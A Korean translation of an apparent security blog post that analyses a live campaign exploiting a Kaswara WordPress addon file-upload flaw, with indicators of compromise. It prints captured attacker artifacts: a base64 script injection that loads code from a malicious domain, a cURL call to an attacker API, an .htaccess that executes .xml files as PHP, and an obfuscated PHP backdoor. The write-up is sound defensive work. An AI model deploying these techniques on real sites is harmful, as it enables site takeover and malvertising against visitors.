취약한 Kaswara Modern WPBakery Page Builder 애드온 플러그인이 야생에서 악용되고 있습니다.

게시 됨: 2021-06-08

2021년 4월 20일에 WPScan의 친구들은 Kaswara Modern WPBakery Page Builder Addons라고도 하는 Kaswara Modern VC Addons에 대한 심각한 취약점을 보고했습니다. Codecanyon/Envato에서는 더 이상 사용할 수 없습니다. 즉, 실행 중인 경우 대안을 선택해야 합니다.

이 취약점은 인증되지 않은 사용자가 플러그인의 아이콘 디렉토리(./wp-content/uploads/kaswara/icons)에 임의의 파일을 업로드할 수 있도록 합니다. 이것은 WPScan의 친구들이 보고서에서 우리와 공유한 첫 번째 IOC(Indicator Of Compromise)입니다.

임의의 파일을 웹사이트에 업로드할 수 있는 기능은 악의적인 사용자가 사이트를 완전히 제어할 수 있도록 하여 이 감염의 최종 페이로드를 정의하기 어렵게 만듭니다. 따라서 지금까지 발견한 모든 것을 보여드리겠습니다(연구에 약간 몰두해 있으므로 끝까지 읽고 싶지 않다면 IOC 섹션으로 자유롭게 이동하십시오).

데이터베이스 주입, 가짜 Android 앱 및 기타 백도어

이 공격에 사용된 데이터베이스 주입 후속 조치를 지적해 준 Sucuri의 친구 Denis Sinegubko에게 감사합니다.

악의적인 행위자는 'kaswara-customJS' 옵션을 업데이트하여 Javascript 코드의 임의의 악성 스니펫을 추가합니다. 다음은 우리가 찾은 한 가지 예입니다.

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

이 base64로 인코딩된 문자열은 다음으로 변환됩니다.

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

그리고 이러한 유형의 스크립트에서 일반적으로 발생하는 것처럼 일련의 다른 Javascript 코드 조각을 체인 로드하고 최종 페이로드는 악성 광고 또는 익스플로잇 킷이 됩니다. 이것은 Wordfence가 여기에 보고한 것과 매우 유사합니다.

이 경우 스크립트는 hxxp://double-clickd[.]com/에서 죽어가고 있으며 잘못된 콘텐츠를 로드하지 않습니다. 2020년 초부터 이 사이트를 호출하는 의심스러운 Javascript를 발견했으며 사람들은 2018년부터 이미 이 사이트를 차단하고 있습니다.

사이트에 업로드된 가짜 앱

우리가 조사한 웹사이트에서 발견된 40개의 Android 앱은 AliPay, PayPal, Correos, DHL 및 기타 여러 앱의 가짜 버전으로, 이 VirusTotal 분석에 따르면 운 좋게도 가장 인기 있는 안티바이러스 공급업체에서 감지했습니다.

감염된 사이트에서 발견된 APK 파일 중 하나에 대한 VirusTotal 결과

나는 앱의 의도를 확인하지 않았지만 요청한 권한에 대한 간략한 검토를 통해 앱이 무엇을 할 수 있는지 엿볼 수 있습니다.

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • android.permission.인터넷
  • android.permission.SEND_SMS
  • android.permission.CALL_PHONE
  • android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

그러나 이러한 파일은 Kaswara 익스플로잇을 사용하여 즉시 업로드되지 않습니다. 사이트가 손상된 후 공격자는 사이트를 완전히 제어하기 위해 먼저 다른 도구를 업로드합니다.

업로드된 파일

일부 백도어 및 기타 맬웨어는 이 취약점으로 인해 손상된 웹사이트에서도 발견되었습니다. 이 게시물에서 가장 인기 있고 흥미로운 것들에 대한 빠른 분석을 공유하겠습니다. 그러나 먼저 가장 복잡한 것에 초점을 맞추고 싶습니다.

리디렉션 및 가짜 앱

내가 감염된 여러 사이트에서 발견한 가짜 앱은 Kaswara 취약점을 악용하여 업로드되지 않았습니다. 공격자가 일부 원격 코드(URL 또는 문자열 제공)를 업로드하고 사용자를 악성 사이트로 리디렉션할 수 있는 다기능 hacktool을 사용하여 사이트에 업로드되고 있습니다.

다음 문자열이 있으면 파일을 쉽게 식별할 수 있습니다. base64_decode('MTIz');error_reporting(0); 기능

흥미롭게도 이것은 이것을 제외한 다른 모든 것을 무작위화합니다.

멀웨어는 한 줄에 있으며, 이러한 유형의 코드 이상을 찾고 있다면 흥미로운 IOC이기도 합니다.

전체 인코딩이 포함된 c.php 악성코드

이해를 돕기 위해 코드의 대부분을 디코딩하고 흥미로운 기능의 이름을 바꾸고 코드를 아름답게 했습니다. 악성코드는 6개의 다른 기능을 포함하고 있으며 그 중 5개는 $_GET['ts'] 변수에 전달된 값을 기반으로 합니다. 이 문서에서는 내가 찾은 많은 인스턴스 중 하나인 c.php 를 살펴보겠습니다.

/c.php?ts=kt

이것은 아무 것도 하지 않으며 사이트가 500 오류를 반환하도록 합니다(나중에 코드에서).

/c.php?ts=1

$q1a 플래그 값을 true로 변경하여 코드 유효성 검사를 수행하고 공격자에게 OK 메시지를 출력합니다.

이 경우 원격 사이트는 다음과 같이 응답합니다. {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”코드”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

$_GET["v"] $_GET["p"]123 의 SHA1 체크섬( base64_decode('MTIz') 의 첫 번째 IOC 기억? 체크섬입니다).

/c.php?ts=tt

서버에 5MB의 "-"를 씁니다. 업로드 기능이 서버에서 작동하는지 테스트하는 데 사용됩니다.

/c.php?ts=dwm&h=HASH1,HASH2

맬웨어는 이 요청을 받으면 업로드된 파일이 서버에 성공적으로 기록되었는지 확인하는 테스트를 수행합니다. MD5 해시를 알고 있어야 하며 쉼표로 구분된 값으로 $_GET['h'] 변수에 전송됩니다.

/c.php?ts=dw&h=hash&l=URLs_as_CSV

일련의 타사 웹 사이트에서 파일을 다운로드하고 다운로드한 파일의 md5의 마지막 12자를 따서 이름을 지정하는 서버에 저장합니다.

가짜 앱을 서버에 업로드하는 데 사용되는 기능입니다.

다음은 /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697 파일 다운로드 요청의 예입니다.

액세스 리디렉션

kt 옵션이 선택되었거나 옵션이 선택되지 않은 경우 코드는 필요한 데이터가 포함된 JSON blob을 요청하여 수행되는 리디렉션으로 진행합니다. 그런 다음 헤더 기능을 사용하여 방문자를 리디렉션합니다.

응답은 다음과 같습니다. {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

필요한 매개변수로 cURL 요청을 실행하는 함수는 다음과 같습니다.

그리고 이 cURL 요청으로 번역될 수 있습니다.

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

최종 URL은 내가 테스트할 수 있는 한 무작위이지만 인기 있는 서비스 또는 앱의 가짜 페이지와 동일한 특성을 공유합니다.

wp-content/uploads/kaswara/icons/16/javas.xml 및 wp-content/uploads/kaswara/icons/16/.htaccess

XML 파일은 일반적으로 잠재적인 위협으로 표시되지 않지만 이 경우 웹 서버가 보는 방식을 변경하는 특수 제작된 .htaccess 파일이 있습니다.

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

실제로 Apache는 xml, php 또는 pdf가 포함된 모든 자바, 홈 또는 메뉴 파일을 PHP 파일로 이해하여 그에 따라 처리하고 실행하도록 지시합니다. 따라서 이 .htaccess와 동일한 디렉토리 구조에 있는 모든 파일은 의심스러울 것입니다.

javas.xml 파일은 사이트에 업로드된 다른 악성 파일과 동일합니다. 차이점은 일부 파일의 끝에 하나 또는 두 개의 빈 줄이 있기 때문에 기존 해싱이 조금 더 까다롭다는 것입니다.

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

악성 코드는 str_rot13 및 base64로 인코딩된 문자열을 사용하여 난독화됩니다. 또한 16진수 값과 수학 연산을 사용하여 문자열을 조금 더 숨깁니다. 최종 페이로드는 POST 요청 값을 기반으로 함수를 생성하므로 알 수 없습니다. 그러나 페이로드는 생성하기 전에 md5 검사에 의존하기 때문에 매번 동일한 것으로 보입니다(c42ea979ed982c02632430e9e98a66d6은 md5 해시입니다).

결론

이것은 활성 캠페인이기 때문에 이 게시물을 작성하는 시점에서 우리는 영향을 받는 사이트에서 점점 더 다양한 맬웨어 예제가 삭제되고 있음을 발견하고 있습니다. 일부는 여기에 있는 것의 변형일 뿐이고 다른 일부는 더 깊은 분석을 위해 충분히 흥미롭습니다. 이러한 다른 예를 살펴보려면 곧 제공될 작은 게시물을 찾아보세요.

이것은 확장을 최신 보안 수정으로 업데이트하는 것의 중요성을 보여줍니다. 개발자가 수정 사항을 적시에 릴리스하지 않거나 WordPress.org 저장소(또는 다른 마켓플레이스)에서 제거되는 경우 더 안전한 대안을 찾는 것이 좋습니다.

사이트의 맬웨어 및 취약성이 우려되는 경우 Jetpack의 보안 기능을 확인하십시오. Jetpack Security는 백업, 맬웨어 검사 및 스팸 방지를 포함하여 사용하기 쉽고 포괄적인 WordPress 사이트 보안을 제공합니다.

타협의 지표

여기에서 우리가 식별한 모든 IOC의 전체 목록을 찾을 수 있습니다.

해시(SHA-1) 위협 설명
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 가짜 안드로이드 앱
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 가짜 안드로이드 앱
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded 가짜 안드로이드 앱
b354b2193e13956747cf3cf1268caaa9ae9601a0 ./c016456e66cd 가짜 안드로이드 앱
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cf 가짜 안드로이드 앱
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 가짜 안드로이드 앱
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe 가짜 안드로이드 앱
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c 가짜 안드로이드 앱
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a 가짜 안드로이드 앱
423d83a87a3833440f6b810967795876b83b7a90 ./34b0ea9d688e 가짜 안드로이드 앱
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b 가짜 안드로이드 앱
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabbe0afa 가짜 안드로이드 앱
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc 가짜 안드로이드 앱
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea 가짜 안드로이드 앱
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb 가짜 안드로이드 앱
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 가짜 안드로이드 앱
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436대 가짜 안드로이드 앱
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./04d2e95f9573 가짜 안드로이드 앱
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e 가짜 안드로이드 앱
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c 가짜 안드로이드 앱
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e 가짜 안드로이드 앱
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f 가짜 안드로이드 앱
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b 가짜 안드로이드 앱
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 가짜 안드로이드 앱
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 가짜 안드로이드 앱
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 가짜 안드로이드 앱
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c 가짜 안드로이드 앱
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc 가짜 안드로이드 앱
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa 가짜 안드로이드 앱
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 가짜 안드로이드 앱
ce8dfe115d9546197d57c9cc9f93abb513aadf4a ./715b3f4ed70d 가짜 안드로이드 앱
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 가짜 안드로이드 앱
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 가짜 안드로이드 앱
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 가짜 안드로이드 앱
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 가짜 안드로이드 앱
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 가짜 안드로이드 앱
a36c3667be58efa50441418b58b5487d873b5d63 ./067fd1c69444 가짜 안드로이드 앱
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d 가짜 안드로이드 앱
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 가짜 안드로이드 앱
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 가짜 안드로이드 앱
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php 삭제된 멀웨어
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php 삭제된 멀웨어
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php PHP 파일 업로더
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content/uploads/kaswara/icons/kntl/cc.php 삭제된 멀웨어
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content/uploads/kaswara/icons/16/icons.php 원격 코드 실행 멀웨어
d51366d5062e7fd4d1422a59e75b585053643549 wp-content/uploads/kaswara/icons/brt/t.php 삭제된 멀웨어
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-content/siteindex.php 삭제된 멀웨어
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php 삭제된 멀웨어
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php 삭제된 멀웨어
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip 삭제된 멀웨어
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip 삭제된 멀웨어
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-content/themes/admindex.php 삭제된 멀웨어
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-booking.php 삭제된 멀웨어
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./icons/icons.php 원격 코드 실행 멀웨어
f7c7fc098575895d9e27b04108ee481b84285aaf ./icons/yrecyt.php 삭제된 멀웨어
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.php 또는 ./wp-content/uploads/xeh02b.php 삭제된 멀웨어
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./icons/pewegy.php 삭제된 멀웨어
1926459cbe6f3fae524d5c1aa966a023b9def873 ./icons/icons.php 원격 코드 실행 멀웨어
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php 삭제된 멀웨어
wp-content/uploads/kaswara/icons/16/javas.xml 원격 코드 실행 멀웨어
smurfetta.ru 악성 도메인
http://papass.ru 악성 도메인